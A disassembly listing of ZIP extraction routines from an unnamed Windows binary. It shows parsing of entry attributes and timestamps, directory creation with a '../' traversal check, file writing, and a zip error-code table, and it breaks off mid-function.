mov eax, [ebp+var_64]
push eax
call sub_4114F4
add esp, 4
mov [ebp+var_1C4], eax
mov ecx, [ebp+var_1C4]
mov [ebp+var_70], ecx
mov edx, [ebp+var_1E8]
mov eax, [edx]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_64]
push edx
push 1
mov eax, [ebp+var_70]
push eax
call sub_40E610
add esp, 10h
cmp eax, [ebp+var_64]
jz short loc_4101A1
mov ecx, [ebp+var_70]
mov [ebp+var_1C8], ecx
mov edx, [ebp+var_1C8]
push edx
call sub_4114EE
add esp, 4
mov eax, 800h
jmp loc_4105D1
; ---------------------------------------------------------------------------
loc_4101A1: ; CODE XREF: sub_40FF4C+231j
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [ecx+10h]
mov [edx], eax
lea ecx, [ebp+var_190]
push ecx
mov edx, [ebp+arg_4]
add edx, 4
push edx
call sub_411628 ; strcpy
add esp, 8
mov eax, [ebp+var_24]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
and ecx, 40000000h
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_88], cl
mov edx, [ebp+var_8]
and edx, 800000h
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_19C], dl
mov eax, [ebp+var_8]
and eax, 1
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_198], al
mov ecx, [ebp+var_8]
and ecx, 2
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_6C], cl
mov edx, [ebp+var_8]
and edx, 4
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_84], dl
mov eax, [ebp+var_8]
and eax, 10h
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_194], al
mov ecx, [ebp+var_8]
and ecx, 20h
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_4], cl
mov edx, [ebp+arg_4]
mov dword ptr [edx+108h], 80h
mov eax, [ebp+var_88]
and eax, 0FFh
test eax, eax
jnz short loc_410277
mov ecx, [ebp+var_194]
and ecx, 0FFh
test ecx, ecx
jz short loc_41028B
loc_410277: ; CODE XREF: sub_40FF4C+319j
mov edx, [ebp+arg_4]
mov eax, [edx+108h]
or al, 10h
mov ecx, [ebp+arg_4]
mov [ecx+108h], eax
loc_41028B: ; CODE XREF: sub_40FF4C+329j
mov edx, [ebp+var_4]
and edx, 0FFh
test edx, edx
jz short loc_4102AD
mov eax, [ebp+arg_4]
mov ecx, [eax+108h]
or ecx, 20h
mov edx, [ebp+arg_4]
mov [edx+108h], ecx
loc_4102AD: ; CODE XREF: sub_40FF4C+34Aj
mov eax, [ebp+var_6C]
and eax, 0FFh
test eax, eax
jz short loc_4102CE
mov ecx, [ebp+arg_4]
mov edx, [ecx+108h]
or edx, 2
mov eax, [ebp+arg_4]
mov [eax+108h], edx
loc_4102CE: ; CODE XREF: sub_40FF4C+36Bj
mov ecx, [ebp+var_19C]
and ecx, 0FFh
test ecx, ecx
jz short loc_4102EE
mov edx, [ebp+var_198]
and edx, 0FFh
test edx, edx
jz short loc_410303
loc_4102EE: ; CODE XREF: sub_40FF4C+390j
mov eax, [ebp+arg_4]
mov ecx, [eax+108h]
or ecx, 1
mov edx, [ebp+arg_4]
mov [edx+108h], ecx
loc_410303: ; CODE XREF: sub_40FF4C+3A0j
mov eax, [ebp+var_84]
and eax, 0FFh
test eax, eax
jz short loc_410327
mov ecx, [ebp+arg_4]
mov edx, [ecx+108h]
or edx, 4
mov eax, [ebp+arg_4]
mov [eax+108h], edx
loc_410327: ; CODE XREF: sub_40FF4C+3C4j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_40]
mov [ecx+124h], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_3C]
mov [eax+128h], ecx
mov edx, [ebp+var_48]
and edx, 0FFFFh
mov [ebp+var_80], dx
mov eax, [ebp+var_48]
shr eax, 10h
and eax, 0FFFFh
mov [ebp+var_68], ax
lea ecx, [ebp+var_60]
push ecx
mov dx, [ebp+var_80]
push edx
mov ax, [ebp+var_68]
push eax
call dword_413090 ; DosDateTimeToFileTime
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_60]
mov [ecx+10Ch], edx
mov eax, [ebp+var_5C]
mov [ecx+110h], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_60]
mov [ecx+114h], edx
mov eax, [ebp+var_5C]
mov [ecx+118h], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_60]
mov [ecx+11Ch], edx
mov eax, [ebp+var_5C]
mov [ecx+120h], eax
mov [ebp+var_7C], 0
loc_4103B5: ; CODE XREF: sub_40FF4C+4D4j
mov ecx, [ebp+var_7C]
add ecx, 4
cmp ecx, [ebp+var_64]
jnb loc_410587
mov edx, [ebp+var_70]
add edx, [ebp+var_7C]
mov al, [edx]
mov [ebp+var_1B4], al
mov ecx, [ebp+var_70]
add ecx, [ebp+var_7C]
mov dl, [ecx+1]
mov [ebp+var_1B3], dl
mov [ebp+var_1B2], 0
mov eax, [ebp+var_70]
add eax, [ebp+var_7C]
movsx ecx, byte ptr [eax+2]
mov [ebp+var_1A4], ecx
push offset aUt ; "UT"
lea edx, [ebp+var_1B4]
push edx
call sub_411684 ; strcmp
add esp, 8
test eax, eax
jz short loc_410422
mov eax, [ebp+var_1A4]
mov ecx, [ebp+var_7C]
lea edx, [ecx+eax+4]
mov [ebp+var_7C], edx
jmp short loc_4103B5
; ---------------------------------------------------------------------------
loc_410422: ; CODE XREF: sub_40FF4C+4C2j
mov eax, [ebp+var_70]
add eax, [ebp+var_7C]
movsx ecx, byte ptr [eax+4]
mov [ebp+var_1A0], ecx
mov edx, [ebp+var_1A0]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_1A8], dl
mov eax, [ebp+var_1A0]
and eax, 2
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_1B0], al
mov ecx, [ebp+var_1A0]
and ecx, 4
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_1AC], cl
mov edx, [ebp+var_7C]
add edx, 5
mov [ebp+var_7C], edx
mov eax, [ebp+var_1A8]
and eax, 0FFh
test eax, eax
jz short loc_4104D6
mov ecx, [ebp+var_70]
add ecx, [ebp+var_7C]
mov edx, [ecx]
mov [ebp+var_1B8], edx
mov eax, [ebp+var_7C]
add eax, 4
mov [ebp+var_7C], eax
mov ecx, [ebp+var_1B8]
push ecx
call sub_40FE22
add esp, 4
mov [ebp+var_1D0], eax
mov [ebp+var_1CC], edx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1D0]
mov [edx+11Ch], eax
mov ecx, [ebp+var_1CC]
mov [edx+120h], ecx
loc_4104D6: ; CODE XREF: sub_40FF4C+53Bj
mov edx, [ebp+var_1B0]
and edx, 0FFh
test edx, edx
jz short loc_410533
mov eax, [ebp+var_70]
add eax, [ebp+var_7C]
mov ecx, [eax]
mov [ebp+var_1BC], ecx
mov edx, [ebp+var_7C]
add edx, 4
mov [ebp+var_7C], edx
mov eax, [ebp+var_1BC]
push eax
call sub_40FE22
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_1D4], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1D8]
mov [ecx+10Ch], edx
mov eax, [ebp+var_1D4]
mov [ecx+110h], eax
loc_410533: ; CODE XREF: sub_40FF4C+598j
mov ecx, [ebp+var_1AC]
and ecx, 0FFh
test ecx, ecx
jz short loc_410587
mov edx, [ebp+var_70]
add edx, [ebp+var_7C]
mov eax, [edx]
mov [ebp+var_1C0], eax
mov ecx, [ebp+var_1C0]
push ecx
call sub_40FE22
add esp, 4
mov [ebp+var_1E0], eax
mov [ebp+var_1DC], edx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1E0]
mov [edx+114h], eax
mov ecx, [ebp+var_1DC]
mov [edx+118h], ecx
loc_410587: ; CODE XREF: sub_40FF4C+472j
; sub_40FF4C+5F5j
cmp [ebp+var_70], 0
jz short loc_4105A5
mov edx, [ebp+var_70]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_1E4]
push eax
call sub_4114EE
add esp, 4
loc_4105A5: ; CODE XREF: sub_40FF4C+63Fj
push 12Ch
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_1E8]
add edx, 8
push edx
call sub_411634 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1E8]
mov ecx, [ebp+arg_0]
mov [eax+134h], ecx
xor eax, eax
loc_4105D1: ; CODE XREF: sub_40FF4C+2Aj
; sub_40FF4C+8Dj ...
mov esp, ebp
pop ebp
retn 8
sub_40FF4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105D7 proc near ; CODE XREF: HSho:0041126Cp
; HSho:004112ECp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
mov eax, [edx]
push eax
call sub_40F30A
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_410645
cmp [ebp+arg_8], 0
jz short loc_41061C
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
loc_41061C: ; CODE XREF: sub_4105D7+3Aj
cmp [ebp+arg_C], 0
jz short loc_41063E
push 12Ch
push 0
mov edx, [ebp+arg_C]
push edx
call sub_411622 ; memset
add esp, 0Ch
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0FFFFFFFFh
loc_41063E: ; CODE XREF: sub_4105D7+49j
mov eax, 500h
jmp short loc_4106A5
; ---------------------------------------------------------------------------
loc_410645: ; CODE XREF: sub_4105D7+34j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jz short loc_41065C
mov edx, [ebp+var_10]
mov eax, [edx]
push eax
call sub_40FCA7
add esp, 4
loc_41065C: ; CODE XREF: sub_4105D7+75j
mov ecx, [ebp+var_10]
mov dword ptr [ecx+4], 0FFFFFFFFh
mov edx, [ebp+var_10]
mov eax, [edx]
mov ecx, [eax+10h]
mov [ebp+var_8], ecx
cmp [ebp+arg_8], 0
jz short loc_41067F
mov edx, [ebp+arg_8]
mov eax, [ebp+var_8]
mov [edx], eax
loc_41067F: ; CODE XREF: sub_4105D7+9Ej
cmp [ebp+arg_C], 0
jz short loc_4106A3
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+var_8]
push edx
mov ecx, [ebp+var_10]
call sub_40FF4C
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4106A3
mov eax, [ebp+var_C]
jmp short loc_4106A5
; ---------------------------------------------------------------------------
loc_4106A3: ; CODE XREF: sub_4105D7+ACj
; sub_4105D7+C5j
xor eax, eax
loc_4106A5: ; CODE XREF: sub_4105D7+6Cj
; sub_4105D7+CAj
mov esp, ebp
pop ebp
retn 10h
sub_4105D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4106AB proc near ; CODE XREF: sub_4106AB+B4p
; sub_4107B2+227p ...
var_214 = byte ptr -214h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 214h
cmp [ebp+arg_4], 0
jz short loc_4106C4
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_4106C9
loc_4106C4: ; CODE XREF: sub_4106AB+Dj
jmp loc_4107AE
; ---------------------------------------------------------------------------
loc_4106C9: ; CODE XREF: sub_4106AB+17j
mov edx, [ebp+arg_4]
mov [ebp+var_10C], edx
mov eax, [ebp+var_10C]
mov [ebp+var_4], eax
loc_4106DB: ; CODE XREF: sub_4106AB+62j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41070F
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Fh
jz short loc_4106FB
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_410704
loc_4106FB: ; CODE XREF: sub_4106AB+43j
mov ecx, [ebp+var_4]
mov [ebp+var_10C], ecx
loc_410704: ; CODE XREF: sub_4106AB+4Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4106DB
; ---------------------------------------------------------------------------
loc_41070F: ; CODE XREF: sub_4106AB+38j
mov eax, [ebp+var_10C]
mov [ebp+var_110], eax
mov ecx, [ebp+var_10C]
cmp ecx, [ebp+arg_4]
jz short loc_410776
mov edx, [ebp+var_10C]
sub edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_214]
push ecx
call sub_402680
add esp, 0Ch
mov edx, [ebp+var_10C]
sub edx, [ebp+arg_4]
mov [ebp+edx+var_214], 0
lea eax, [ebp+var_214]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4106AB
add esp, 8
mov edx, [ebp+var_110]
add edx, 1
mov [ebp+var_110], edx
loc_410776: ; CODE XREF: sub_4106AB+79j
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_108]
push ecx
call sub_411628 ; strcpy
add esp, 8
mov edx, [ebp+var_110]
push edx
lea eax, [ebp+var_108]
push eax
call sub_411640 ; strcat
add esp, 8
push 0
lea ecx, [ebp+var_108]
push ecx
call dword_413030 ; CreateDirectoryA
loc_4107AE: ; CODE XREF: sub_4106AB:loc_4106C4j
mov esp, ebp
pop ebp
retn
sub_4106AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4107B2 proc near ; CODE XREF: sub_411390+58p
var_4264 = dword ptr -4264h
var_4260 = dword ptr -4260h
var_425C = dword ptr -425Ch
var_4258 = byte ptr -4258h
var_4251 = byte ptr -4251h
var_4250 = byte ptr -4250h
var_424F = byte ptr -424Fh
var_414C = dword ptr -414Ch
var_4148 = dword ptr -4148h
var_4144 = dword ptr -4144h
var_4140 = dword ptr -4140h
var_413C = dword ptr -413Ch
var_4138 = dword ptr -4138h
var_4134 = dword ptr -4134h
var_4130 = dword ptr -4130h
var_412C = byte ptr -412Ch
var_4128 = byte ptr -4128h
var_4024 = dword ptr -4024h
var_4020 = byte ptr -4020h
var_4018 = byte ptr -4018h
var_4010 = byte ptr -4010h
var_4000 = byte ptr -4000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 4264h
call sub_4115D0
push ebx
push esi
mov [ebp+var_4260], ecx
cmp [ebp+arg_C], 3
jz short loc_4107E3
cmp [ebp+arg_C], 2
jz short loc_4107E3
cmp [ebp+arg_C], 1
jz short loc_4107E3
mov eax, 10000h
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_4107E3: ; CODE XREF: sub_4107B2+19j
; sub_4107B2+1Fj ...
cmp [ebp+arg_C], 3
jnz loc_41090E
mov eax, [ebp+var_4260]
mov ecx, [ebp+arg_0]
cmp ecx, [eax+4]
jz loc_4108A4
mov edx, [ebp+var_4260]
cmp dword ptr [edx+4], 0FFFFFFFFh
jz short loc_41081C
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_40FCA7
add esp, 4
loc_41081C: ; CODE XREF: sub_4107B2+57j
mov edx, [ebp+var_4260]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, [ebp+var_4260]
mov ecx, [eax]
mov edx, [ebp+arg_0]
cmp edx, [ecx+4]
jl short loc_410843
mov eax, 10000h
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_410843: ; CODE XREF: sub_4107B2+85j
mov eax, [ebp+var_4260]
mov ecx, [eax]
mov edx, [ebp+arg_0]
cmp edx, [ecx+10h]
jge short loc_410864
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_40F1E3
add esp, 4
loc_410864: ; CODE XREF: sub_4107B2+9Fj
; sub_4107B2+D3j
mov edx, [ebp+var_4260]
mov eax, [edx]
mov ecx, [eax+10h]
cmp ecx, [ebp+arg_0]
jge short loc_410887
mov edx, [ebp+var_4260]
mov eax, [edx]
push eax
call sub_40F251
add esp, 4
jmp short loc_410864
; ---------------------------------------------------------------------------
loc_410887: ; CODE XREF: sub_4107B2+C0j
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_40F6B0
add esp, 4
mov eax, [ebp+var_4260]
mov ecx, [ebp+arg_0]
mov [eax+4], ecx
loc_4108A4: ; CODE XREF: sub_4107B2+47j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_40F872
add esp, 0Ch
mov [ebp+var_4140], eax
cmp [ebp+var_4140], 0
jle short loc_4108D6
mov eax, 600h
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_4108D6: ; CODE XREF: sub_4107B2+118j
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_40FCA7
add esp, 4
mov edx, [ebp+var_4260]
mov dword ptr [edx+4], 0FFFFFFFFh
cmp [ebp+var_4140], 0
jnz short loc_410904
xor eax, eax
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_410904: ; CODE XREF: sub_4107B2+149j
mov eax, 5000000h
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_41090E: ; CODE XREF: sub_4107B2+35j
mov eax, [ebp+var_4260]
cmp dword ptr [eax+4], 0FFFFFFFFh
jz short loc_41092B
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_40FCA7
add esp, 4
loc_41092B: ; CODE XREF: sub_4107B2+166j
mov eax, [ebp+var_4260]
mov dword ptr [eax+4], 0FFFFFFFFh
mov ecx, [ebp+var_4260]
mov edx, [ecx]
mov eax, [ebp+arg_0]
cmp eax, [edx+4]
jl short loc_410952
mov eax, 10000h
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_410952: ; CODE XREF: sub_4107B2+194j
mov ecx, [ebp+var_4260]
mov edx, [ecx]
mov eax, [ebp+arg_0]
cmp eax, [edx+10h]
jge short loc_410973
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_40F1E3
add esp, 4
loc_410973: ; CODE XREF: sub_4107B2+1AEj
; sub_4107B2+1E2j
mov eax, [ebp+var_4260]
mov ecx, [eax]
mov edx, [ecx+10h]
cmp edx, [ebp+arg_0]
jge short loc_410996
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_40F251
add esp, 4
jmp short loc_410973
; ---------------------------------------------------------------------------
loc_410996: ; CODE XREF: sub_4107B2+1CFj
lea edx, [ebp+var_412C]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4260]
call sub_40FF4C
mov ecx, [ebp+var_4024]
and ecx, 10h
test ecx, ecx
jz short loc_4109E8
cmp [ebp+arg_C], 1
jnz short loc_4109C6
xor eax, eax
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_4109C6: ; CODE XREF: sub_4107B2+20Bj
lea edx, [ebp+var_4128]
push edx
mov eax, [ebp+var_4260]
add eax, 138h
push eax
call sub_4106AB
add esp, 8
xor eax, eax
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_4109E8: ; CODE XREF: sub_4107B2+205j
cmp [ebp+arg_C], 1
jnz short loc_4109FC
mov ecx, [ebp+arg_4]
mov [ebp+var_4134], ecx
jmp loc_410B6E
; ---------------------------------------------------------------------------
loc_4109FC: ; CODE XREF: sub_4107B2+23Aj
mov edx, [ebp+arg_4]
mov [ebp+var_4148], edx
mov eax, [ebp+var_4148]
mov [ebp+var_4144], eax
loc_410A11: ; CODE XREF: sub_4107B2+2A6j
mov ecx, [ebp+var_4144]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_410A5A
mov eax, [ebp+var_4144]
movsx ecx, byte ptr [eax]
cmp ecx, 2Fh
jz short loc_410A3A
mov edx, [ebp+var_4144]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_410A49
loc_410A3A: ; CODE XREF: sub_4107B2+278j
mov ecx, [ebp+var_4144]
add ecx, 1
mov [ebp+var_4148], ecx
loc_410A49: ; CODE XREF: sub_4107B2+286j
mov edx, [ebp+var_4144]
add edx, 1
mov [ebp+var_4144], edx
jmp short loc_410A11
; ---------------------------------------------------------------------------
loc_410A5A: ; CODE XREF: sub_4107B2+26Aj
mov eax, [ebp+var_4148]
cmp eax, [ebp+arg_4]
jz loc_410B4A
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_4250]
push edx
call sub_411628 ; strcpy
add esp, 8
mov eax, [ebp+var_4148]
sub eax, [ebp+arg_4]
mov [ebp+eax+var_4251], 0
movsx ecx, [ebp+var_4250]
cmp ecx, 2Fh
jz short loc_410ABD
movsx edx, [ebp+var_4250]
cmp edx, 5Ch
jz short loc_410ABD
movsx eax, [ebp+var_424F]
cmp eax, 3Ah
jz short loc_410ABD
mov [ebp+var_4264], 0
jmp short loc_410AC7
; ---------------------------------------------------------------------------
loc_410ABD: ; CODE XREF: sub_4107B2+2E5j
; sub_4107B2+2F1j ...
mov [ebp+var_4264], 1
loc_410AC7: ; CODE XREF: sub_4107B2+309j
mov cl, byte ptr [ebp+var_4264]
mov byte ptr [ebp+var_414C], cl
mov ebx, [ebp+var_414C]
and ebx, 0FFh
push offset a__ ; "../"
lea edx, [ebp+var_4250]
push edx
call sub_4114A0
add esp, 8
mov esi, eax
neg esi
sbb esi, esi
neg esi
push offset a___0 ; "..\\"
lea eax, [ebp+var_4250]
push eax
call sub_4114A0
add esp, 8
neg eax
sbb eax, eax
neg eax
or esi, eax
or ebx, esi
mov byte ptr [ebp+var_414C], bl
mov ecx, [ebp+var_414C]
and ecx, 0FFh
test ecx, ecx
jnz short loc_410B4A
lea edx, [ebp+var_4250]
push edx
mov eax, [ebp+var_4260]
add eax, 138h
push eax
call sub_4106AB
add esp, 8
loc_410B4A: ; CODE XREF: sub_4107B2+2B1j
; sub_4107B2+37Bj
push 0
mov ecx, [ebp+var_4024]
push ecx
push 2
push 0
push 0
push 40000000h
mov edx, [ebp+arg_4]
push edx
call dword_413018 ; CreateFileA
mov [ebp+var_4134], eax
loc_410B6E: ; CODE XREF: sub_4107B2+245j
cmp [ebp+var_4134], 0FFFFFFFFh
jnz short loc_410B81
mov eax, 200h
jmp loc_410CC0
; ---------------------------------------------------------------------------
loc_410B81: ; CODE XREF: sub_4107B2+3C3j
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_40F6B0
add esp, 4
mov byte ptr [ebp+var_4138], 0
loc_410B99: ; CODE XREF: sub_4107B2:loc_410C15j
push 4000h
lea edx, [ebp+var_4000]
push edx
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_40F872
add esp, 0Ch
mov [ebp-4254h], eax
cmp dword ptr [ebp-4254h], 0
jge short loc_410BCE
mov byte ptr [ebp+var_4138], 1
jmp short loc_410C17
; ---------------------------------------------------------------------------
loc_410BCE: ; CODE XREF: sub_4107B2+411j
cmp dword ptr [ebp-4254h], 0
jnz short loc_410BD9
jmp short loc_410C17
; ---------------------------------------------------------------------------
loc_410BD9: ; CODE XREF: sub_4107B2+423j
push 0
lea edx, [ebp+var_4258]
push edx
mov eax, [ebp-4254h]
push eax
lea ecx, [ebp+var_4000]
push ecx
mov edx, [ebp+var_4134]
push edx
call dword_413050 ; WriteFile
mov [ebp+var_425C], eax
cmp [ebp+var_425C], 0
jnz short loc_410C15
mov byte ptr [ebp+var_4138], 1
jmp short loc_410C17
; ---------------------------------------------------------------------------
loc_410C15: ; CODE XREF: sub_4107B2+458j
jmp short loc_410B99
; ---------------------------------------------------------------------------
loc_410C17: ; CODE XREF: sub_4107B2+41Aj
; sub_4107B2+425j ...
mov byte ptr [ebp+var_413C], 0
mov eax, [ebp+var_4134]
push eax
call dword_4130A0 ; GetFileType
mov [ebp+var_4130], eax
cmp [ebp+var_4130], 1
jnz short loc_410C51
mov ecx, [ebp+var_4138]
and ecx, 0FFh
test ecx, ecx
jnz short loc_410C51
mov byte ptr [ebp+var_413C], 1
loc_410C51: ; CODE XREF: sub_4107B2+486j
; sub_4107B2+496j
mov edx, [ebp+var_413C]
and edx, 0FFh
test edx, edx
jz short loc_410C83
lea eax, [ebp+var_4010]
push eax
lea ecx, [ebp+var_4020]
push ecx
lea edx, [ebp+var_4018]
push edx
mov eax, [ebp+var_4134]
push eax
call dword_41308C ; SetFileTime
loc_410C83: ; CODE XREF: sub_4107B2+4ADj
cmp [ebp+arg_C], 1
jz short loc_410C96
mov ecx, [ebp+var_4134]
push ecx
call dword_413020 ; CloseHandle
loc_410C96: ; CODE XREF: sub_4107B2+4D5j
mov edx, [ebp+var_4260]
mov eax, [edx]
push eax
call sub_40FCA7
add esp, 4
mov ecx, [ebp+var_4138]
and ecx, 0FFh
test ecx, ecx
jz short loc_410CBE
mov eax, 400h
jmp short loc_410CC0
; ---------------------------------------------------------------------------
loc_410CBE: ; CODE XREF: sub_4107B2+503j
xor eax, eax
loc_410CC0: ; CODE XREF: sub_4107B2+2Cj
; sub_4107B2+8Cj ...
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_4107B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CC8 proc near ; CODE XREF: sub_4113FB+48p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0FFFFFFFFh
jz short loc_410CE6
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
call sub_40FCA7
add esp, 4
loc_410CE6: ; CODE XREF: sub_410CC8+Ej
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 0FFFFFFFFh
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz short loc_410D06
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
call sub_40ECA8
add esp, 4
loc_410D06: ; CODE XREF: sub_410CC8+2Ej
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_410CC8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
cmp dword ptr [ebp+8], 1
jnz short loc_410D29
mov eax, ds:dword_41BCD4
mov [ebp+8], eax
loc_410D29: ; CODE XREF: HSho:00410D1Fj
mov dword ptr [ebp-8], offset aUnknownZipResu ; "unknown zip result code"
mov ecx, [ebp+8]
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 20000h
ja loc_410DFE
cmp dword ptr [ebp-10h], 20000h
jz loc_410F24
cmp dword ptr [ebp-10h], 500h
ja short loc_410DB7
cmp dword ptr [ebp-10h], 500h
jz loc_410EEB
cmp dword ptr [ebp-10h], 200h
ja short loc_410D98
cmp dword ptr [ebp-10h], 200h
jz loc_410EC7
cmp dword ptr [ebp-10h], 0
jz loc_410EAF
cmp dword ptr [ebp-10h], 100h
jz loc_410EBB
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410D98: ; CODE XREF: HSho:00410D6Dj
cmp dword ptr [ebp-10h], 300h
jz loc_410ED3
cmp dword ptr [ebp-10h], 400h
jz loc_410EDF
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410DB7: ; CODE XREF: HSho:00410D57j
cmp dword ptr [ebp-10h], 800h
ja short loc_410DEC
cmp dword ptr [ebp-10h], 800h
jz loc_410F09
cmp dword ptr [ebp-10h], 600h
jz loc_410EF7
cmp dword ptr [ebp-10h], 700h
jz loc_410F00
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410DEC: ; CODE XREF: HSho:00410DBEj
cmp dword ptr [ebp-10h], 10000h
jz loc_410F12
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410DFE: ; CODE XREF: HSho:00410D3Dj
cmp dword ptr [ebp-10h], 80000h
ja short loc_410E68
cmp dword ptr [ebp-10h], 80000h
jz loc_410F48
cmp dword ptr [ebp-10h], 50000h
ja short loc_410E49
cmp dword ptr [ebp-10h], 50000h
jz loc_410F3F
cmp dword ptr [ebp-10h], 30000h
jz loc_410F2D
cmp dword ptr [ebp-10h], 40000h
jz loc_410F36
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410E49: ; CODE XREF: HSho:00410E1Bj
cmp dword ptr [ebp-10h], 60000h
jz loc_410F63
cmp dword ptr [ebp-10h], 70000h
jz loc_410F1B
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410E68: ; CODE XREF: HSho:00410E05j
cmp dword ptr [ebp-10h], 4000000h
ja short loc_410E9D
cmp dword ptr [ebp-10h], 4000000h
jz loc_410F6C
cmp dword ptr [ebp-10h], 1000000h
jz loc_410F51
cmp dword ptr [ebp-10h], 2000000h
jz loc_410F5A
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410E9D: ; CODE XREF: HSho:00410E6Fj
cmp dword ptr [ebp-10h], 5000000h
jz loc_410F75
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410EAF: ; CODE XREF: HSho:00410D80j
mov dword ptr [ebp-8], offset aSuccess ; "Success"
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410EBB: ; CODE XREF: HSho:00410D8Dj
